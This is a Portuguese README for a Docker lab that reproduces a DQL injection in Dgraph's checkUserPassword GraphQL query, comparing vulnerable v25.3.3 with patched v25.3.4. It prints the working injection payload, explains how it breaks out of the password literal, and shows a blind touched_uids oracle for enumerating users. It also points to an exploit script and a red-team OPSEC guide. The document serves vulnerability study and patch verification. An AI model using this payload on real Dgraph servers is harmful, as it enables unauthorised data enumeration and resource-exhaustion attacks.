Laboratório Docker que reproduz o CVE-2026-44840, uma injeção de DQL na consulta GraphQL checkUserPassword do Dgraph, com script de exploração e comparação entre vulnerável e corrigido.
checkUserPassword (GraphQL)Laboratório Docker que reproduz uma injeção real no Dgraph:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.4CVE real de 2026 · CVSS 3.1 7.5 (High) ·
CWE-943(Improper Neutralization in Data Query Logic) · atribuída a Kai Aizen (GHSA-q2m9-6jp9-c6mc,GO-2026-5837). Apenas para ambiente de lab isolado e autorizado.
checkUserPassword é a query GraphQL que o esquema do Dgraph gera automaticamente para
tipos com a diretiva . Em
(≤ v25.3.3) a password era concatenada com :
@secret(field: "password")graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
A password do atacante fica intercalada literalmente no DQL:
pwd as checkpwd(User.password, "<password do atacante>")
O fix (v25.3.4, commit cee702c) parametriza o valor:
pwdVar = "$pwd0" // FIX
// executa com &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
Levanta dois clusters Dgraph (zero+alpha): v25.3.3 e v25.3.4.
Sobe o esquema type User @secret(field: "password") e cria admin, alice, bob.
Envia para checkUserPassword uma password que escapa do literal DQL e adiciona um bloco
de query arbitrário:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
Na v25.3.3 o bloco injected { ... } é parseado e executado server-side.
| Teste | v25.3.3 (vulnerável) | v25.3.4 (corrigido) |
|---|---|---|
| login com password correta | OK (touched_uids 7) | OK (touched_uids 7) |
| login com password incorreta | null (5) | null (5) |
password injetada )} injected{...} # | é executada: touched_uids 14 | neutralizada: 5 |
oráculo: eq(User.name,"bob") injetado | touched_uids 7 (existe) | 5 |
oráculo: eq(User.name,"nobody") injetado | 5 (não existe) | 5 |
log do dgraph alpha | mostra o DQL com o bloco injected | DQL parametrizado, sem bloco |
Impacto do CVE: execução de DQL arbitrário server-side → enumeração cega de dados
(via touched_uids/timing), descoberta de esquema (has(), eq()) e DoS por consumo
de recursos injetando travessias custosas (expand(_all_), recursões).
# 1) levantar tudo, preparar esquema/usuários e executar o exploit
bash run.sh
# 2) apenas o exploit (se o lab já estiver preparado)
python3 exploit/exploit.py
# 3) montar o ambiente do zero (pod / dump)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) limpar
docker compose down # conserva os volumes
docker compose down -v # apaga os volumes (dados do dgraph)
| Serviço | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orquestrador completo
├── REDTEAM.md # guia red team: recon + exploração passo a passo + OPSEC
├── setup/setup.py # esquema + usuários
└── exploit/exploit.py # injeção DQL e oráculo
Guia operacional ofensivo (reconhecimento, exploração passo a passo, payloads, evidência
e OPSEC): REDTEAM.md.
A password viaja como variável GraphQL; o valor que chega ao rewriter não é escapado e é
inserido dentro de checkpwd(User.password, "..."). O payload:
x") # fecha o literal de checkpwd e a função
} # fecha o bloco checkPwd
injected(...) # novo bloco root do atacante
{ ... }
# # comenta o resto do template: ")
O # evita que o sufixo do template (a " de fechamento de checkpwd) quebre o parseamento.
dgraph v25.3.4+.vars de dgoapi.Request), nunca
interpolar input com fmt.Sprintf.